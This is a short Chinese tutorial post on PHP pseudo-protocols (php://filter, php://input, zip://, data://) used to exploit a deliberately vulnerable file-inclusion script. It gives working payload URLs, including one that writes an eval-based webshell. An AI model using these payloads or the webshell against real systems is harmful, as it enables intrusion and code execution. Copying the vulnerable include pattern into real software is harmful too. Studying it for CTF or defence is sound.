美文网首页
php伪协议

php伪协议

作者: 唐小风7 | 来源:发表于2018-12-25 11:00 被阅读0次

test.php

<?php

include($_GET['file'])

?>

情况一:不需要截断:

test.php

情况二:需要截断:

<?php

include($_GET['file'].’.php’)

?>

php<=5.2
%00截断

【file://协议】

使用方法:

file:// [文件的绝对路径和文件名]

file://协议

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

localhost/test.php?file=php://filter/read=convert.base64-encode/resource=./test.php
base64read

php://input

php://input
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 
写shell

【zip://协议】

http://localhost/test.php?file=zip://D:/phpStudy/WWW/txf.zip%23txf.txt
zip

【bzip2://协议】

http://localhost/test.php?file=compress.zlib://./txf.txt
bzip2

【data://协议】

http://localhost/test.php?file=data://text/plain,<?php phpinfo()?>
http://localhost/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://localhost/test.php?file=data:text/plain,<?php phpinfo()?>
http://localhost/test.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data://协议 PHP封装协议

相关文章

  • 20180726简单的CTF之PHP学习

    1.伪协议入门 伪协议入门 考点php://input payload:http://192.168.1.88/A...

  • ics-05

    伪协议文件读取+preg_replace()任意代码执行首先php伪协议读取index.php代码 漏洞点在下面测...

  • php伪协议

    【php://filter】用来读文件,base64再解码即可index.php?f=php://filter/c...

  • php伪协议

    首先归纳下常见的文件包含函数:include、require、include_once、require_once、...

  • php伪协议

    题目 https://cgctf.nuptsast.com/challenges#Web文件包含 思路 https...

  • php伪协议

    test.php 情况一:不需要截断: 情况二:需要截断: php<=5.2%00截断 【file://协议】 使...

  • PHP伪协议

    最常用的php://filter,用于读取文件/源码:http://127.0.0.1/xxx.php?file=...

  • PHP文件包含

    LFI、RFI、PHP封装协议安全问题学习 本文希望分享一些本地文件包含、远程文件包含、PHP的封装协议(伪协议)...

  • php伪协议小结[web安全]

    PHP伪协议: 协议功能file://访问本地文件,需要绝对路径http://访问http/httpsftp://...

  • phpwriteup

    1.伪协议入门 考点php://inputpayload:http://192.168.1.88/AUDIT01/...

网友评论

      本文标题:php伪协议

      本文链接:https://www.haomeiwen.com/subject/cfuxlqtx.html